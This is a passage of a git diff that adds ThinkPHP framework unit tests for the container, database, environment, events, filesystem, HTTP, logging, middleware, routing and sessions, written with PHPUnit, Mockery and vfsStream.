$object); + + $this->assertTrue($container->exists('name2')); + + $this->assertTrue($container->exists(Taylor::class)); + + $this->assertEquals($object, $container->make(Taylor::class)); + + unset($container->name1); + + $this->assertFalse($container->exists('name1')); + + $container->delete('name2'); + + $this->assertFalse($container->exists('name2')); + + foreach ($container as $class => $instance) { + + } + } + + public function testBind() + { + $container = new Container; + + $object = new stdClass(); + + $container->bind(['name' => Taylor::class]); + + $container->bind('name2', $object); + + $container->bind('name3', Taylor::class); + $container->bind('name3', Taylor::class); + + $container->name4 = $object; + + $container['name5'] = $object; + + $this->assertTrue(isset($container->name4)); + + $this->assertTrue(isset($container['name5'])); + + $this->assertInstanceOf(Taylor::class, $container->get('name')); + + $this->assertSame($object, $container->get('name2')); + + $this->assertSame($object, $container->name4); + + $this->assertSame($object, $container['name5']); + + $this->assertInstanceOf(Taylor::class, $container->get('name3')); + + unset($container['name']); + + $this->assertFalse(isset($container['name'])); + + unset($container->name3); + + $this->assertFalse(isset($container->name3)); + } + + public function testAutoConcreteResolution() + { + $container = new Container; + + $taylor = $container->make(Taylor::class); + + $this->assertInstanceOf(Taylor::class, $taylor); + $this->assertAttributeSame('Taylor', 'name', $taylor); + } + + public function testGetAndSetInstance() + { + $this->assertInstanceOf(Container::class, Container::getInstance()); + + $object = new stdClass(); + + Container::setInstance($object); + + $this->assertSame($object, Container::getInstance()); + + Container::setInstance(function () { + return $this; + }); + + $this->assertSame($this, Container::getInstance()); + } + + public function testResolving() + { + $container = new Container(); + $container->bind(Container::class, $container); + + $container->resolving(function (SomeClass $taylor, Container $container) { + $taylor->count++; + }); + $container->resolving(SomeClass::class, function (SomeClass $taylor, Container $container) { + $taylor->count++; + }); + + /** @var SomeClass $someClass */ + $someClass = $container->invokeClass(SomeClass::class); + $this->assertEquals(2, $someClass->count); + } + + public function testInvokeFunctionWithoutMethodThrowsException() + { + $this->expectException(FuncNotFoundException::class); + $this->expectExceptionMessage('function not exists: ContainerTestCallStub()'); + $container = new Container(); + $container->invokeFunction('ContainerTestCallStub', []); + } + + public function testInvokeProtectionMethod() + { + $container = new Container(); + $this->assertTrue($container->invokeMethod([Taylor::class, 'protectionFun'], [], true)); + } + + public function testInvoke() + { + $container = new Container(); + + Container::setInstance($container); + + $container->bind(Container::class, $container); + + $stub = $this->createMock(Taylor::class); + + $stub->expects($this->once())->method('some')->with($container)->will($this->returnSelf()); + + $container->invokeMethod([$stub, 'some']); + + $this->assertEquals('48', $container->invoke('ord', ['0'])); + + $this->assertSame($container, $container->invoke(Taylor::class . '::test', [])); + + $this->assertSame($container, $container->invokeMethod(Taylor::class . '::test')); + + $reflect = new ReflectionMethod($container, 'exists'); + + $this->assertTrue($container->invokeReflectMethod($container, $reflect, [Container::class])); + + $this->assertSame($container, $container->invoke(function (Container $container) { + return $container; + })); + + $this->assertSame($container, $container->invoke(Taylor::class . '::test')); + + $object = $container->invokeClass(SomeClass::class); + $this->assertInstanceOf(SomeClass::class, $object); + $this->assertSame($container, $object->container); + + $stdClass = new stdClass(); + + $container->invoke(function (Container $container, stdClass $stdObject, $key1, $lowKey, $key2 = 'default') use ($stdClass) { + $this->assertEquals('value1', $key1); + $this->assertEquals('default', $key2); + $this->assertEquals('value2', $lowKey); + $this->assertSame($stdClass, $stdObject); + return $container; + }, ['some' => $stdClass, 'key1' => 'value1', 'low_key' => 'value2']); + } + + public function testInvokeMethodNotExists() + { + $container = $this->resolveContainer(); + $this->expectException(FuncNotFoundException::class); + + $container->invokeMethod([SomeClass::class, 'any']); + } + + public function testInvokeClassNotExists() + { + $container = new Container(); + + Container::setInstance($container); + + $container->bind(Container::class, $container); + + $this->expectExceptionObject(new ClassNotFoundException('class not exists: SomeClass')); + + $container->invokeClass('SomeClass'); + } + + protected function resolveContainer() + { + $container = new Container(); + + Container::setInstance($container); + return $container; + } + +} diff --git a/vendor/topthink/framework/tests/DbTest.php b/vendor/topthink/framework/tests/DbTest.php new file mode 100644 index 0000000..3bd0c1e --- /dev/null +++ b/vendor/topthink/framework/tests/DbTest.php @@ -0,0 +1,49 @@ +shouldReceive('get')->with('database.cache_store', null)->andReturn(null); + $cache->shouldReceive('store')->with(null)->andReturn($store); + + $db = Db::__make($event, $config, $log, $cache); + + $config->shouldReceive('get')->with('database.foo', null)->andReturn('foo'); + $this->assertEquals('foo', $db->getConfig('foo')); + + $config->shouldReceive('get')->with('database', [])->andReturn([]); + $this->assertEquals([], $db->getConfig()); + + $callback = function () { + }; + $event->shouldReceive('listen')->with('db.some', $callback); + $db->event('some', $callback); + + $event->shouldReceive('trigger')->with('db.some', null, false); + $db->trigger('some'); + } + +} diff --git a/vendor/topthink/framework/tests/EnvTest.php b/vendor/topthink/framework/tests/EnvTest.php new file mode 100644 index 0000000..cf2e65f --- /dev/null +++ b/vendor/topthink/framework/tests/EnvTest.php @@ -0,0 +1,82 @@ +setContent("key1=value1\nkey2=value2"); + $root->addChild($envFile); + + $env = new Env(); + + $env->load($envFile->url()); + + $this->assertEquals('value1', $env->get('key1')); + $this->assertEquals('value2', $env->get('key2')); + + $this->assertSame(['KEY1' => 'value1', 'KEY2' => 'value2'], $env->get()); + } + + public function testServerEnv() + { + $env = new Env(); + + $this->assertEquals('value2', $env->get('key2', 'value2')); + + putenv('PHP_KEY7=value7'); + putenv('PHP_KEY8=false'); + putenv('PHP_KEY9=true'); + + $this->assertEquals('value7', $env->get('key7')); + $this->assertFalse($env->get('KEY8')); + $this->assertTrue($env->get('key9')); + } + + public function testSetEnv() + { + $env = new Env(); + + $env->set([ + 'key1' => 'value1', + 'key2' => [ + 'key1' => 'value1-2', + ], + ]); + + $env->set('key3', 'value3'); + + $env->key4 = 'value4'; + + $env['key5'] = 'value5'; + + $this->assertEquals('value1', $env->get('key1')); + $this->assertEquals('value1-2', $env->get('key2.key1')); + + $this->assertEquals('value3', $env->get('key3')); + + $this->assertEquals('value4', $env->key4); + + $this->assertEquals('value5', $env['key5']); + + $this->expectException(Exception::class); + + unset($env['key5']); + } + + public function testHasEnv() + { + $env = new Env(); + $env->set(['foo' => 'bar']); + $this->assertTrue($env->has('foo')); + $this->assertTrue(isset($env->foo)); + $this->assertTrue($env->offsetExists('foo')); + } +} diff --git a/vendor/topthink/framework/tests/EventTest.php b/vendor/topthink/framework/tests/EventTest.php new file mode 100644 index 0000000..ded5a36 --- /dev/null +++ b/vendor/topthink/framework/tests/EventTest.php @@ -0,0 +1,134 @@ +app = m::mock(App::class)->makePartial(); + + Container::setInstance($this->app); + $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); + $this->config = m::mock(Config::class)->makePartial(); + $this->app->shouldReceive('get')->with('config')->andReturn($this->config); + + $this->event = new Event($this->app); + } + + public function testBasic() + { + $this->event->bind(['foo' => 'baz']); + + $this->event->listen('foo', function ($bar) { + $this->assertEquals('bar', $bar); + }); + + $this->assertTrue($this->event->hasListener('foo')); + + $this->event->trigger('baz', 'bar'); + + $this->event->remove('foo'); + + $this->assertFalse($this->event->hasListener('foo')); + } + + public function testOnceEvent() + { + $this->event->listen('AppInit', function ($bar) { + $this->assertEquals('bar', $bar); + return 'foo'; + }); + + $this->assertEquals('foo', $this->event->trigger('AppInit', 'bar', true)); + $this->assertEquals(['foo'], $this->event->trigger('AppInit', 'bar')); + } + + public function testClassListener() + { + $listener = m::mock("overload:SomeListener", TestListener::class); + + $listener->shouldReceive('handle')->andReturnTrue(); + + $this->event->listen('some', "SomeListener"); + + $this->assertTrue($this->event->until('some')); + } + + public function testSubscribe() + { + $listener = m::mock("overload:SomeListener", TestListener::class); + + $listener->shouldReceive('subscribe')->andReturnUsing(function (Event $event) use ($listener) { + + $listener->shouldReceive('onBar')->once()->andReturnFalse(); + + $event->listenEvents(['SomeListener::onBar' => [[$listener, 'onBar']]]); + }); + + $this->event->subscribe('SomeListener'); + + $this->assertTrue($this->event->hasListener('SomeListener::onBar')); + + $this->event->trigger('SomeListener::onBar'); + } + + public function testAutoObserve() + { + $listener = m::mock("overload:SomeListener", TestListener::class); + + $listener->shouldReceive('onBar')->once(); + + $this->app->shouldReceive('make')->with('SomeListener')->andReturn($listener); + + $this->event->observe('SomeListener'); + + $this->event->trigger('bar'); + } + +} + +class TestListener +{ + public function handle() + { + + } + + public function onBar() + { + + } + + public function onFoo() + { + + } + + public function subscribe() + { + + } +} diff --git a/vendor/topthink/framework/tests/FilesystemTest.php b/vendor/topthink/framework/tests/FilesystemTest.php new file mode 100644 index 0000000..df5ffe2 --- /dev/null +++ b/vendor/topthink/framework/tests/FilesystemTest.php @@ -0,0 +1,131 @@ +app = m::mock(App::class)->makePartial(); + Container::setInstance($this->app); + $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); + $this->config = m::mock(Config::class); + $this->config->shouldReceive('get')->with('filesystem.default', null)->andReturn('local'); + $this->app->shouldReceive('get')->with('config')->andReturn($this->config); + $this->filesystem = new Filesystem($this->app); + + $this->root = vfsStream::setup('rootDir'); + } + + protected function tearDown(): void + { + m::close(); + } + + public function testDisk() + { + $this->config->shouldReceive('get')->with('filesystem.disks.local', null)->andReturn([ + 'type' => 'local', + 'root' => $this->root->url(), + ]); + + $this->config->shouldReceive('get')->with('filesystem.disks.foo', null)->andReturn([ + 'type' => 'local', + 'root' => $this->root->url(), + ]); + + $this->assertInstanceOf(Local::class, $this->filesystem->disk()); + + $this->assertInstanceOf(Local::class, $this->filesystem->disk('foo')); + } + + public function testCache() + { + $this->config->shouldReceive('get')->with('filesystem.disks.local', null)->andReturn([ + 'type' => 'local', + 'root' => $this->root->url(), + 'cache' => true, + ]); + + $this->assertInstanceOf(Local::class, $this->filesystem->disk()); + + $this->config->shouldReceive('get')->with('filesystem.disks.cache', null)->andReturn([ + 'type' => NullDriver::class, + 'root' => $this->root->url(), + 'cache' => [ + 'store' => 'flysystem', + ], + ]); + + $cache = m::mock(Cache::class); + + $cacheDriver = m::mock(File::class); + + $cache->shouldReceive('store')->once()->with('flysystem')->andReturn($cacheDriver); + + $this->app->shouldReceive('make')->with(Cache::class)->andReturn($cache); + + $cacheDriver->shouldReceive('get')->with('flysystem')->once()->andReturn(null); + + $cacheDriver->shouldReceive('set')->withAnyArgs(); + + $this->filesystem->disk('cache')->put('test.txt', 'aa'); + } + + public function testPutFile() + { + $root = vfsStream::setup('rootDir', null, [ + 'foo.jpg' => 'hello', + ]); + + $this->config->shouldReceive('get')->with('filesystem.disks.local', null)->andReturn([ + 'type' => NullDriver::class, + 'root' => $root->url(), + 'cache' => true, + ]); + + $file = m::mock(\think\File::class); + + $file->shouldReceive('hashName')->with(null)->once()->andReturn('foo.jpg'); + + $file->shouldReceive('getRealPath')->once()->andReturn($root->getChild('foo.jpg')->url()); + + $this->filesystem->putFile('test', $file); + } +} + +class NullDriver extends Driver +{ + protected function createAdapter(): AdapterInterface + { + return new NullAdapter(); + } +} diff --git a/vendor/topthink/framework/tests/HttpTest.php b/vendor/topthink/framework/tests/HttpTest.php new file mode 100644 index 0000000..c3e0abd --- /dev/null +++ b/vendor/topthink/framework/tests/HttpTest.php @@ -0,0 +1,155 @@ +app = m::mock(App::class)->makePartial(); + + $this->http = m::mock(Http::class, [$this->app])->shouldAllowMockingProtectedMethods()->makePartial(); + } + + protected function prepareApp($request, $response) + { + $this->app->shouldReceive('instance')->once()->with('request', $request); + $this->app->shouldReceive('initialized')->once()->andReturnFalse(); + $this->app->shouldReceive('initialize')->once(); + $this->app->shouldReceive('get')->with('request')->andReturn($request); + + $route = m::mock(Route::class); + + $route->shouldReceive('dispatch')->withArgs(function ($req, $withRoute) use ($request) { + if ($withRoute) { + $withRoute(); + } + return $req === $request; + })->andReturn($response); + + $route->shouldReceive('config')->with('route_annotation')->andReturn(true); + + $this->app->shouldReceive('get')->with('route')->andReturn($route); + + $console = m::mock(Console::class); + + $console->shouldReceive('call'); + + $this->app->shouldReceive('get')->with('console')->andReturn($console); + } + + public function testRun() + { + $root = vfsStream::setup('rootDir', null, [ + 'app' => [ + 'controller' => [], + 'middleware.php' => ' [ + 'route.php' => 'app->shouldReceive('getBasePath')->andReturn($root->getChild('app')->url() . DIRECTORY_SEPARATOR); + $this->app->shouldReceive('getRootPath')->andReturn($root->url() . DIRECTORY_SEPARATOR); + + $request = m::mock(Request::class)->makePartial(); + $response = m::mock(Response::class)->makePartial(); + + $this->prepareApp($request, $response); + + $this->assertEquals($response, $this->http->run($request)); + } + + public function multiAppRunProvider() + { + $request1 = m::mock(Request::class)->makePartial(); + $request1->shouldReceive('subDomain')->andReturn('www'); + $request1->shouldReceive('host')->andReturn('www.domain.com'); + + $request2 = m::mock(Request::class)->makePartial(); + $request2->shouldReceive('subDomain')->andReturn('app2'); + $request2->shouldReceive('host')->andReturn('app2.domain.com'); + + $request3 = m::mock(Request::class)->makePartial(); + $request3->shouldReceive('pathinfo')->andReturn('some1/a/b/c'); + + $request4 = m::mock(Request::class)->makePartial(); + $request4->shouldReceive('pathinfo')->andReturn('app3/a/b/c'); + + $request5 = m::mock(Request::class)->makePartial(); + $request5->shouldReceive('pathinfo')->andReturn('some2/a/b/c'); + + return [ + [$request1, true, 'app1'], + [$request2, true, 'app2'], + [$request3, true, 'app3'], + [$request4, true, null], + [$request5, true, 'some2', 'path'], + [$request1, false, 'some3'], + ]; + } + + public function testRunWithException() + { + $request = m::mock(Request::class); + $response = m::mock(Response::class); + + $this->app->shouldReceive('instance')->once()->with('request', $request); + $this->app->shouldReceive('initialize')->once(); + + $exception = new Exception(); + + $this->http->shouldReceive('runWithRequest')->once()->with($request)->andThrow($exception); + + $handle = m::mock(Handle::class); + + $handle->shouldReceive('report')->once()->with($exception); + $handle->shouldReceive('render')->once()->with($request, $exception)->andReturn($response); + + $this->app->shouldReceive('make')->with(Handle::class)->andReturn($handle); + + $this->assertEquals($response, $this->http->run($request)); + } + + public function testEnd() + { + $response = m::mock(Response::class); + $event = m::mock(Event::class); + $event->shouldReceive('trigger')->once()->with(HttpEnd::class, $response); + $this->app->shouldReceive('get')->once()->with('event')->andReturn($event); + $log = m::mock(Log::class); + $log->shouldReceive('save')->once(); + $this->app->shouldReceive('get')->once()->with('log')->andReturn($log); + + $this->http->end($response); + } + +} diff --git a/vendor/topthink/framework/tests/InteractsWithApp.php b/vendor/topthink/framework/tests/InteractsWithApp.php new file mode 100644 index 0000000..f4fcf73 --- /dev/null +++ b/vendor/topthink/framework/tests/InteractsWithApp.php @@ -0,0 +1,30 @@ +app = m::mock(App::class)->makePartial(); + Container::setInstance($this->app); + $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); + $this->app->shouldReceive('isDebug')->andReturnTrue(); + $this->config = m::mock(Config::class)->makePartial(); + $this->config->shouldReceive('get')->with('app.show_error_msg')->andReturnTrue(); + $this->app->shouldReceive('get')->with('config')->andReturn($this->config); + $this->app->shouldReceive('runningInConsole')->andReturn(false); + } +} diff --git a/vendor/topthink/framework/tests/LogTest.php b/vendor/topthink/framework/tests/LogTest.php new file mode 100644 index 0000000..981110f --- /dev/null +++ b/vendor/topthink/framework/tests/LogTest.php @@ -0,0 +1,130 @@ +prepareApp(); + + $this->log = new Log($this->app); + } + + public function testGetConfig() + { + $config = [ + 'default' => 'file', + ]; + + $this->config->shouldReceive('get')->with('log')->andReturn($config); + + $this->assertEquals($config, $this->log->getConfig()); + + $this->expectException(InvalidArgumentException::class); + $this->log->getChannelConfig('foo'); + } + + public function testChannel() + { + $this->assertInstanceOf(ChannelSet::class, $this->log->channel(['file', 'mail'])); + } + + public function testLogManagerInstances() + { + $this->config->shouldReceive('get')->with("log.channels.single", null)->andReturn(['type' => 'file']); + + $channel1 = $this->log->channel('single'); + $channel2 = $this->log->channel('single'); + + $this->assertSame($channel1, $channel2); + } + + public function testFileLog() + { + $root = vfsStream::setup(); + + $this->config->shouldReceive('get')->with("log.default", null)->andReturn('file'); + + $this->config->shouldReceive('get')->with("log.channels.file", null)->andReturn(['type' => 'file', 'path' => $root->url()]); + + $this->log->info('foo'); + + $this->assertEquals($this->log->getLog(), ['info' => ['foo']]); + + $this->log->clear(); + + $this->assertEmpty($this->log->getLog()); + + $this->log->error('foo'); + $this->assertArrayHasKey('error', $this->log->getLog()); + + $this->log->emergency('foo'); + $this->assertArrayHasKey('emergency', $this->log->getLog()); + + $this->log->alert('foo'); + $this->assertArrayHasKey('alert', $this->log->getLog()); + + $this->log->critical('foo'); + $this->assertArrayHasKey('critical', $this->log->getLog()); + + $this->log->warning('foo'); + $this->assertArrayHasKey('warning', $this->log->getLog()); + + $this->log->notice('foo'); + $this->assertArrayHasKey('notice', $this->log->getLog()); + + $this->log->debug('foo'); + $this->assertArrayHasKey('debug', $this->log->getLog()); + + $this->log->sql('foo'); + $this->assertArrayHasKey('sql', $this->log->getLog()); + + $this->log->custom('foo'); + $this->assertArrayHasKey('custom', $this->log->getLog()); + + $this->log->write('foo'); + $this->assertTrue($root->hasChildren()); + $this->assertEmpty($this->log->getLog()); + + $this->log->close(); + + $this->log->info('foo'); + + $this->assertEmpty($this->log->getLog()); + } + + public function testSave() + { + $root = vfsStream::setup(); + + $this->config->shouldReceive('get')->with("log.default", null)->andReturn('file'); + + $this->config->shouldReceive('get')->with("log.channels.file", null)->andReturn(['type' => 'file', 'path' => $root->url()]); + + $this->log->info('foo'); + + $this->log->save(); + + $this->assertTrue($root->hasChildren()); + } + +} diff --git a/vendor/topthink/framework/tests/MiddlewareTest.php b/vendor/topthink/framework/tests/MiddlewareTest.php new file mode 100644 index 0000000..aa53059 --- /dev/null +++ b/vendor/topthink/framework/tests/MiddlewareTest.php @@ -0,0 +1,108 @@ +prepareApp(); + + $this->middleware = new Middleware($this->app); + } + + public function testSetMiddleware() + { + $this->middleware->add('BarMiddleware', 'bar'); + + $this->assertEquals(1, count($this->middleware->all('bar'))); + + $this->middleware->controller('BarMiddleware'); + $this->assertEquals(1, count($this->middleware->all('controller'))); + + $this->middleware->import(['FooMiddleware']); + $this->assertEquals(1, count($this->middleware->all())); + + $this->middleware->unshift(['BazMiddleware', 'baz']); + $this->assertEquals(2, count($this->middleware->all())); + $this->assertEquals([['BazMiddleware', 'handle'], 'baz'], $this->middleware->all()[0]); + + $this->config->shouldReceive('get')->with('middleware.alias', [])->andReturn(['foo' => ['FooMiddleware', 'FarMiddleware']]); + + $this->middleware->add('foo'); + $this->assertEquals(3, count($this->middleware->all())); + $this->middleware->add(function () { + }); + $this->middleware->add(function () { + }); + $this->assertEquals(5, count($this->middleware->all())); + } + + public function testPipelineAndEnd() + { + $bar = m::mock("overload:BarMiddleware"); + $foo = m::mock("overload:FooMiddleware", Foo::class); + + $request = m::mock(Request::class); + $response = m::mock(Response::class); + + $e = new Exception(); + + $handle = m::mock(Handle::class); + $handle->shouldReceive('report')->with($e)->andReturnNull(); + $handle->shouldReceive('render')->with($request, $e)->andReturn($response); + + $foo->shouldReceive('handle')->once()->andReturnUsing(function ($request, $next) { + return $next($request); + }); + $bar->shouldReceive('handle')->once()->andReturnUsing(function ($request, $next) use ($e) { + $next($request); + throw $e; + }); + + $foo->shouldReceive('end')->once()->with($response)->andReturnNull(); + + $this->app->shouldReceive('make')->with(Handle::class)->andReturn($handle); + + $this->config->shouldReceive('get')->once()->with('middleware.priority', [])->andReturn(['FooMiddleware', 'BarMiddleware']); + + $this->middleware->import([function ($request, $next) { + return $next($request); + }, 'BarMiddleware', 'FooMiddleware']); + + $this->assertInstanceOf(Pipeline::class, $pipeline = $this->middleware->pipeline()); + + $pipeline->send($request)->then(function ($request) use ($e, $response) { + throw $e; + }); + + $this->middleware->end($response); + } +} + +class Foo +{ + public function end(Response $response) + { + } +} diff --git a/vendor/topthink/framework/tests/RouteTest.php b/vendor/topthink/framework/tests/RouteTest.php new file mode 100644 index 0000000..e992d0f --- /dev/null +++ b/vendor/topthink/framework/tests/RouteTest.php @@ -0,0 +1,286 @@ +prepareApp(); + $this->route = new Route($this->app); + } + + /** + * @param $path + * @param string $method + * @param string $host + * @return m\Mock|Request + */ + protected function makeRequest($path, $method = 'GET', $host = 'localhost') + { + $request = m::mock(Request::class)->makePartial(); + $request->shouldReceive('host')->andReturn($host); + $request->shouldReceive('pathinfo')->andReturn($path); + $request->shouldReceive('url')->andReturn('/' . $path); + $request->shouldReceive('method')->andReturn(strtoupper($method)); + return $request; + } + + public function testSimpleRequest() + { + $this->route->get('foo', function () { + return 'get-foo'; + }); + + $this->route->put('foo', function () { + return 'put-foo'; + }); + + $this->route->group(function () { + $this->route->post('foo', function () { + return 'post-foo'; + }); + }); + + $request = $this->makeRequest('foo', 'post'); + $response = $this->route->dispatch($request); + $this->assertEquals(200, $response->getCode()); + $this->assertEquals('post-foo', $response->getContent()); + + $request = $this->makeRequest('foo', 'get'); + $response = $this->route->dispatch($request); + $this->assertEquals(200, $response->getCode()); + $this->assertEquals('get-foo', $response->getContent()); + } + + public function testOptionsRequest() + { + $this->route->get('foo', function () { + return 'get-foo'; + }); + + $this->route->put('foo', function () { + return 'put-foo'; + }); + + $this->route->group(function () { + $this->route->post('foo', function () { + return 'post-foo'; + }); + }); + $this->route->group('abc', function () { + $this->route->post('foo/:id', function () { + return 'post-abc-foo'; + }); + }); + + $this->route->post('foo/:id', function () { + return 'post-abc-foo'; + }); + + $this->route->resource('bar', 'SomeClass'); + + $request = $this->makeRequest('foo', 'options'); + $response = $this->route->dispatch($request); + $this->assertEquals(204, $response->getCode()); + $this->assertEquals('GET, PUT, POST', $response->getHeader('Allow')); + + $request = $this->makeRequest('bar', 'options'); + $response = $this->route->dispatch($request); + $this->assertEquals(204, $response->getCode()); + $this->assertEquals('GET, POST', $response->getHeader('Allow')); + + $request = $this->makeRequest('bar/1', 'options'); + $response = $this->route->dispatch($request); + $this->assertEquals(204, $response->getCode()); + $this->assertEquals('GET, PUT, DELETE', $response->getHeader('Allow')); + + $request = $this->makeRequest('xxxx', 'options'); + $response = $this->route->dispatch($request); + $this->assertEquals(204, $response->getCode()); + $this->assertEquals('GET, POST, PUT, DELETE', $response->getHeader('Allow')); + } + + public function testAllowCrossDomain() + { + $this->route->get('foo', function () { + return 'get-foo'; + })->allowCrossDomain(['some' => 'bar']); + + $request = $this->makeRequest('foo', 'get'); + $response = $this->route->dispatch($request); + + $this->assertEquals('bar', $response->getHeader('some')); + $this->assertArrayHasKey('Access-Control-Allow-Credentials', $response->getHeader()); + + $request = $this->makeRequest('foo2', 'options'); + $response = $this->route->dispatch($request); + + $this->assertEquals(204, $response->getCode()); + $this->assertArrayHasKey('Access-Control-Allow-Credentials', $response->getHeader()); + $this->assertEquals('GET, POST, PUT, DELETE', $response->getHeader('Allow')); + } + + public function testControllerDispatch() + { + $this->route->get('foo', 'foo/bar'); + + $controller = m::Mock(\stdClass::class); + + $this->app->shouldReceive('parseClass')->with('controller', 'Foo')->andReturn($controller->mockery_getName()); + $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); + + $controller->shouldReceive('bar')->andReturn('bar'); + + $request = $this->makeRequest('foo'); + $response = $this->route->dispatch($request); + $this->assertEquals('bar', $response->getContent()); + } + + public function testEmptyControllerDispatch() + { + $this->route->get('foo', 'foo/bar'); + + $controller = m::Mock(\stdClass::class); + + $this->app->shouldReceive('parseClass')->with('controller', 'Error')->andReturn($controller->mockery_getName()); + $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); + + $controller->shouldReceive('bar')->andReturn('bar'); + + $request = $this->makeRequest('foo'); + $response = $this->route->dispatch($request); + $this->assertEquals('bar', $response->getContent()); + } + + protected function createMiddleware($times = 1) + { + $middleware = m::mock(Str::random(5)); + $middleware->shouldReceive('handle')->times($times)->andReturnUsing(function ($request, Closure $next) { + return $next($request); + }); + $this->app->shouldReceive('make')->with($middleware->mockery_getName())->andReturn($middleware); + + return $middleware; + } + + public function testControllerWithMiddleware() + { + $this->route->get('foo', 'foo/bar'); + + $controller = m::mock(FooClass::class); + + $controller->middleware = [ + $this->createMiddleware()->mockery_getName() . ":params1:params2", + $this->createMiddleware(0)->mockery_getName() => ['except' => 'bar'], + $this->createMiddleware()->mockery_getName() => ['only' => 'bar'], + ]; + + $this->app->shouldReceive('parseClass')->with('controller', 'Foo')->andReturn($controller->mockery_getName()); + $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); + + $controller->shouldReceive('bar')->once()->andReturn('bar'); + + $request = $this->makeRequest('foo'); + $response = $this->route->dispatch($request); + $this->assertEquals('bar', $response->getContent()); + } + + public function testUrlDispatch() + { + $controller = m::mock(FooClass::class); + $controller->shouldReceive('index')->andReturn('bar'); + + $this->app->shouldReceive('parseClass')->once()->with('controller', 'Foo')->andReturn($controller->mockery_getName()); + $this->app->shouldReceive('make')->with($controller->mockery_getName(), [], true)->andReturn($controller); + + $request = $this->makeRequest('foo'); + $response = $this->route->dispatch($request); + $this->assertEquals('bar', $response->getContent()); + } + + public function testRedirectDispatch() + { + $this->route->redirect('foo', 'http://localhost', 302); + + $request = $this->makeRequest('foo'); + $this->app->shouldReceive('make')->with(Request::class)->andReturn($request); + $response = $this->route->dispatch($request); + + $this->assertInstanceOf(Redirect::class, $response); + $this->assertEquals(302, $response->getCode()); + $this->assertEquals('http://localhost', $response->getData()); + } + + public function testViewDispatch() + { + $this->route->view('foo', 'index/hello', ['city' => 'shanghai']); + + $request = $this->makeRequest('foo'); + $response = $this->route->dispatch($request); + + $this->assertInstanceOf(View::class, $response); + $this->assertEquals(['city' => 'shanghai'], $response->getVars()); + $this->assertEquals('index/hello', $response->getData()); + } + + public function testResponseDispatch() + { + $this->route->get('hello/:name', response() + ->data('Hello,ThinkPHP') + ->code(200) + ->contentType('text/plain')); + + $request = $this->makeRequest('hello/some'); + $response = $this->route->dispatch($request); + + $this->assertEquals('Hello,ThinkPHP', $response->getContent()); + $this->assertEquals(200, $response->getCode()); + } + + public function testDomainBindResponse() + { + $this->route->domain('test', function () { + $this->route->get('/', function () { + return 'Hello,ThinkPHP'; + }); + }); + + $request = $this->makeRequest('', 'get', 'test.domain.com'); + $response = $this->route->dispatch($request); + + $this->assertEquals('Hello,ThinkPHP', $response->getContent()); + $this->assertEquals(200, $response->getCode()); + } + +} + +class FooClass +{ + public $middleware = []; + + public function bar() + { + + } +} diff --git a/vendor/topthink/framework/tests/SessionTest.php b/vendor/topthink/framework/tests/SessionTest.php new file mode 100644 index 0000000..b3b48a7 --- /dev/null +++ b/vendor/topthink/framework/tests/SessionTest.php @@ -0,0 +1,225 @@ +app = m::mock(App::class)->makePartial(); + Container::setInstance($this->app); + + $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); + $this->config = m::mock(Config::class)->makePartial(); + + $this->app->shouldReceive('get')->with('config')->andReturn($this->config); + $handlerClass = "\\think\\session\\driver\\Test" . Str::random(10); + $this->config->shouldReceive("get")->with("session.type", "file")->andReturn($handlerClass); + $this->session = new Session($this->app); + + $this->handler = m::mock('overload:' . $handlerClass, SessionHandlerInterface::class); + } + + public function testLoadData() + { + $data = [ + "bar" => 'foo', + ]; + + $id = md5(uniqid()); + + $this->handler->shouldReceive("read")->once()->with($id)->andReturn(serialize($data)); + + $this->session->setId($id); + $this->session->init(); + + $this->assertEquals('foo', $this->session->get('bar')); + $this->assertTrue($this->session->has('bar')); + $this->assertFalse($this->session->has('foo')); + + $this->session->set('foo', 'bar'); + $this->assertTrue($this->session->has('foo')); + + $this->assertEquals('bar', $this->session->pull('foo')); + $this->assertFalse($this->session->has('foo')); + } + + public function testSave() + { + + $id = md5(uniqid()); + + $this->handler->shouldReceive('read')->once()->with($id)->andReturn(""); + + $this->handler->shouldReceive('write')->once()->with($id, serialize([ + "bar" => 'foo', + ]))->andReturnTrue(); + + $this->session->setId($id); + $this->session->init(); + + $this->session->set('bar', 'foo'); + + $this->session->save(); + } + + public function testFlash() + { + $this->session->flash('foo', 'bar'); + $this->session->flash('bar', 0); + $this->session->flash('baz', true); + + $this->assertTrue($this->session->has('foo')); + $this->assertEquals('bar', $this->session->get('foo')); + $this->assertEquals(0, $this->session->get('bar')); + $this->assertTrue($this->session->get('baz')); + + $this->session->clearFlashData(); + + $this->assertTrue($this->session->has('foo')); + $this->assertEquals('bar', $this->session->get('foo')); + $this->assertEquals(0, $this->session->get('bar')); + + $this->session->clearFlashData(); + + $this->assertFalse($this->session->has('foo')); + $this->assertNull($this->session->get('foo')); + + $this->session->flash('foo', 'bar'); + $this->assertTrue($this->session->has('foo')); + $this->session->clearFlashData(); + $this->session->reflash(); + $this->session->clearFlashData(); + + $this->assertTrue($this->session->has('foo')); + } + + public function testClear() + { + $this->session->set('bar', 'foo'); + $this->assertEquals('foo', $this->session->get('bar')); + $this->session->clear(); + $this->assertFalse($this->session->has('foo')); + } + + public function testSetName() + { + $this->session->setName('foo'); + $this->assertEquals('foo', $this->session->getName()); + } + + public function testDestroy() + { + $id = md5(uniqid()); + + $this->handler->shouldReceive('read')->once()->with($id)->andReturn(""); + $this->handler->shouldReceive('delete')->once()->with($id)->andReturnTrue(); + + $this->session->setId($id); + $this->session->init(); + + $this->session->set('bar', 'foo'); + + $this->session->destroy(); + + $this->assertFalse($this->session->has('bar')); + + $this->assertNotEquals($id, $this->session->getId()); + } + + public function testFileHandler() + { + $root = vfsStream::setup(); + + vfsStream::newFile('bar') + ->at($root) + ->lastModified(time()); + + vfsStream::newFile('bar') + ->at(vfsStream::newDirectory("foo")->at($root)) + ->lastModified(100); + + $this->assertTrue($root->hasChild("bar")); + $this->assertTrue($root->hasChild("foo/bar")); + + $handler = new TestFileHandle($this->app, [ + 'path' => $root->url(), + 'gc_probability' => 1, + 'gc_divisor' => 1, + ]); + + $this->assertTrue($root->hasChild("bar")); + $this->assertFalse($root->hasChild("foo/bar")); + + $id = md5(uniqid()); + $handler->write($id, 